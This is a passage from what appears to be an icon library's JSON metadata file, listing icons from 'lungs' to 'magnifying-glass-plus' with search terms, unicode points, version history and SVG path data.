        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V164.1c0 16.4 8.4 31.7 22.2 40.5l9.8 6.2V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2C414 480.5 384 442.1 384 398V325l90.5 57.6c7.5 4.7 17.3 2.5 22.1-4.9s2.5-17.3-4.9-22.1L384 287.1v-.4l-44.1-28.1c-7.3-4.6-13.9-10.1-19.9-16.1c-5.9 6-12.6 11.5-19.9 16.1L256 286.7 161.2 347l-13.5 8.6c0 0 0 0-.1 0c-7.4 4.8-9.6 14.6-4.8 22.1c4.7 7.5 14.6 9.7 22.1 4.9l91.1-58V398c0 44.1-30 82.5-72.7 93.1l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v45.5l9.8-6.2c13.8-8.8 22.2-24.1 22.2-40.5V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0c17.7 0 32 14.3 32 32V164.1c0 16.4 8.4 31.7 22.2 40.5l9.8 6.2V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2C414 480.5 384 442.1 384 398V325l90.5 57.6c7.5 4.7 17.3 2.5 22.1-4.9s2.5-17.3-4.9-22.1L384 287.1v-.4l-44.1-28.1c-7.3-4.6-13.9-10.1-19.9-16.1c-5.9 6-12.6 11.5-19.9 16.1L256 286.7 161.2 347l-13.5 8.6c0 0 0 0-.1 0c-7.4 4.8-9.6 14.6-4.8 22.1c4.7 7.5 14.6 9.7 22.1 4.9l91.1-58V398c0 44.1-30 82.5-72.7 93.1l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v45.5l9.8-6.2c13.8-8.8 22.2-24.1 22.2-40.5V32c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "lungs-virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e067"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breath",
        "coronavirus",
        "covid-19",
        "flu",
        "infection",
        "pandemic",
        "respiratory",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e067",
    "label": "Lungs Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V156.2c-8.5-7.6-19.7-12.2-32-12.2s-23.5 4.6-32 12.2V32c0-17.7 14.3-32 32-32zM444.5 195.5c-16.4-16.4-41.8-18.5-60.5-6.1V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2c-20.9-5.2-38.7-17.1-51.5-32.9c14 1.5 28.5-3 39.2-13.8l-22.6-22.6 22.6 22.6c18.7-18.7 18.7-49.1 0-67.9c-1.1-1.1-1.4-2-1.5-2.5c-.1-.8-.1-1.8 .4-2.9s1.2-1.9 1.8-2.3c.5-.3 1.3-.8 2.9-.8c26.5 0 48-21.5 48-48s-21.5-48-48-48c-1.6 0-2.4-.4-2.9-.8c-.6-.4-1.3-1.2-1.8-2.3s-.5-2.2-.4-2.9c.1-.6 .4-1.4 1.5-2.5c18.7-18.7 18.7-49.1 0-67.9zM421.8 421.8c-6.2 6.2-16.4 6.2-22.6 0C375.9 398.5 336 415 336 448c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C241.5 375.9 225 336 192 336c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C264.1 241.5 304 225 304 192c0-8.8 7.2-16 16-16s16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C398.5 264.1 415 304 448 304c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6zM183.3 491.2l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v24.1c-18.6-12.4-44-10.3-60.5 6.1c-18.7 18.7-18.7 49.1 0 67.9c1.1 1.1 1.4 2 1.5 2.5c.1 .8 .1 1.8-.4 2.9s-1.2 1.9-1.8 2.3c-.5 .3-1.3 .8-2.9 .8c-26.5 0-48 21.5-48 48s21.5 48 48 48c1.6 0 2.4 .4 2.9 .8c.6 .4 1.3 1.2 1.8 2.3s.5 2.2 .4 2.9c-.1 .6-.4 1.4-1.5 2.5c-18.7 18.7-18.7 49.1 0 67.9c10.7 10.7 25.3 15.3 39.2 13.8c-12.8 15.9-30.6 27.7-51.5 32.9zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0c17.7 0 32 14.3 32 32V156.2c-8.5-7.6-19.7-12.2-32-12.2s-23.5 4.6-32 12.2V32c0-17.7 14.3-32 32-32zM444.5 195.5c-16.4-16.4-41.8-18.5-60.5-6.1V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2c-20.9-5.2-38.7-17.1-51.5-32.9c14 1.5 28.5-3 39.2-13.8l-22.6-22.6 22.6 22.6c18.7-18.7 18.7-49.1 0-67.9c-1.1-1.1-1.4-2-1.5-2.5c-.1-.8-.1-1.8 .4-2.9s1.2-1.9 1.8-2.3c.5-.3 1.3-.8 2.9-.8c26.5 0 48-21.5 48-48s-21.5-48-48-48c-1.6 0-2.4-.4-2.9-.8c-.6-.4-1.3-1.2-1.8-2.3s-.5-2.2-.4-2.9c.1-.6 .4-1.4 1.5-2.5c18.7-18.7 18.7-49.1 0-67.9zM421.8 421.8c-6.2 6.2-16.4 6.2-22.6 0C375.9 398.5 336 415 336 448c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C241.5 375.9 225 336 192 336c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C264.1 241.5 304 225 304 192c0-8.8 7.2-16 16-16s16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C398.5 264.1 415 304 448 304c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6zM183.3 491.2l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v24.1c-18.6-12.4-44-10.3-60.5 6.1c-18.7 18.7-18.7 49.1 0 67.9c1.1 1.1 1.4 2 1.5 2.5c.1 .8 .1 1.8-.4 2.9s-1.2 1.9-1.8 2.3c-.5 .3-1.3 .8-2.9 .8c-26.5 0-48 21.5-48 48s21.5 48 48 48c1.6 0 2.4 .4 2.9 .8c.6 .4 1.3 1.2 1.8 2.3s.5 2.2 .4 2.9c-.1 .6-.4 1.4-1.5 2.5c-18.7 18.7-18.7 49.1 0 67.9c10.7 10.7 25.3 15.3 39.2 13.8c-12.8 15.9-30.6 27.7-51.5 32.9zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "lyft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c3",
    "label": "lyft",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z"
      }
    },
    "free": ["brands"]
  },
  "m": {
    "aliases": {
      "unicodes": {
        "composite": ["6d"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter M", "Latin Small Letter M", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4d",
    "label": "M",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M22.7 33.4c13.5-4.1 28.1 1.1 35.9 12.9L224 294.3 389.4 46.2c7.8-11.7 22.4-17 35.9-12.9S448 49.9 448 64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V169.7L250.6 369.8c-5.9 8.9-15.9 14.2-26.6 14.2s-20.7-5.3-26.6-14.2L64 169.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 49.9 9.2 37.5 22.7 33.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M22.7 33.4c13.5-4.1 28.1 1.1 35.9 12.9L224 294.3 389.4 46.2c7.8-11.7 22.4-17 35.9-12.9S448 49.9 448 64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V169.7L250.6 369.8c-5.9 8.9-15.9 14.2-26.6 14.2s-20.7-5.3-26.6-14.2L64 169.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 49.9 9.2 37.5 22.7 33.4z"
      }
    },
    "free": ["solid"]
  },
  "magento": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c4",
    "label": "Magento",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z"
      }
    },
    "free": ["brands"]
  },
  "magnet": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f2"],
        "secondary": ["10f076"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Attract",
        "attraction",
        "horseshoe",
        "lodestone",
        "magnet",
        "magnetic",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f076",
    "label": "Magnet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 160v96C0 379.7 100.3 480 224 480s224-100.3 224-224V160H320v96c0 53-43 96-96 96s-96-43-96-96V160H0zm0-32H128V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64zm320 0H448V64c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32v64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 160v96C0 379.7 100.3 480 224 480s224-100.3 224-224V160H320v96c0 53-43 96-96 96s-96-43-96-96V160H0zm0-32H128V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64zm320 0H448V64c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32v64z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass": {
    "aliases": {
      "names": ["search"],
      "unicodes": {
        "composite": ["1f50d"],
        "secondary": ["10f002"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bigger",
        "enlarge",
        "find",
        "glass",
        "magnify",
        "magnifying",
        "magnifying glass tilted left",
        "preview",
        "search",
        "tool",
        "zoom"
      ]
    },
    "styles": ["solid"],
    "unicode": "f002",
    "label": "Magnifying Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM208 352a144 144 0 1 0 0-288 144 144 0 1 0 0 288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM208 352a144 144 0 1 0 0-288 144 144 0 1 0 0 288z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["find", "next", "search"]
    },
    "styles": ["solid"],
    "unicode": "e521",
    "label": "Magnifying Glass Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM241 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31H120c-13.3 0-24 10.7-24 24s10.7 24 24 24H238.1l-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9l-72-72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM241 119c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31H120c-13.3 0-24 10.7-24 24s10.7 24 24 24H238.1l-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9l-72-72z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-chart": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        " data",
        " graph",
        " intelligence",
        "analysis",
        "chart",
        "market"
      ]
    },
    "styles": ["solid"],
    "unicode": "e522",
    "label": "Magnifying Glass Chart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zm-312 8v64c0 13.3 10.7 24 24 24s24-10.7 24-24l0-64c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80-96V280c0 13.3 10.7 24 24 24s24-10.7 24-24V120c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80 64v96c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zm-312 8v64c0 13.3 10.7 24 24 24s24-10.7 24-24l0-64c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80-96V280c0 13.3 10.7 24 24 24s24-10.7 24-24V120c0-13.3-10.7-24-24-24s-24 10.7-24 24zm80 64v96c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-dollar": {
    "aliases": {
      "names": ["search-dollar"],
      "unicodes": {
        "secondary": ["10f688"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bigger",
        "enlarge",
        "find",
        "magnify",
        "money",
        "preview",
        "zoom"
      ]
    },
    "styles": ["solid"],
    "unicode": "f688",
    "label": "Magnifying Glass Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM228 104c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V312c0 11 9 20 20 20s20-9 20-20V298.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V104z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM228 104c0-11-9-20-20-20s-20 9-20 20v14c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V312c0 11 9 20 20 20s20-9 20-20V298.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V104z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-location": {
    "aliases": {
      "names": ["search-location"],
      "unicodes": {
        "secondary": ["10f689"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bigger", "enlarge", "find", "magnify", "preview", "zoom"]
    },
    "styles": ["solid"],
    "unicode": "f689",
    "label": "Magnifying Glass Location",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM288 176c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 48.8 46.5 111.6 68.6 138.6c6 7.3 16.8 7.3 22.7 0c22.1-27 68.6-89.8 68.6-138.6zm-112 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM288 176c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 48.8 46.5 111.6 68.6 138.6c6 7.3 16.8 7.3 22.7 0c22.1-27 68.6-89.8 68.6-138.6zm-112 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-minus": {
    "aliases": {
      "names": ["search-minus"],
      "unicodes": {
        "secondary": ["10f010"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["minify", "negative", "smaller", "zoom", "zoom out"]
    },
    "styles": ["solid"],
    "unicode": "f010",
    "label": "Magnifying Glass Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM136 184c-13.3 0-24 10.7-24 24s10.7 24 24 24H280c13.3 0 24-10.7 24-24s-10.7-24-24-24H136z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM136 184c-13.3 0-24 10.7-24 24s10.7 24 24 24H280c13.3 0 24-10.7 24-24s-10.7-24-24-24H136z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-plus": {
    "aliases": {
      "names": ["search-plus"],
      "unicodes": {
        "secondary": ["10f00e"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bigger", "enlarge", "magnify", "positive", "zoom", "zoom in"]
    },
    "styles": ["solid"],
    "unicode": "f00e",
    "label": "Magnifying Glass Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM184 296c0 13.3 10.7 24 24 24s24-10.7 24-24V232h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H232V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
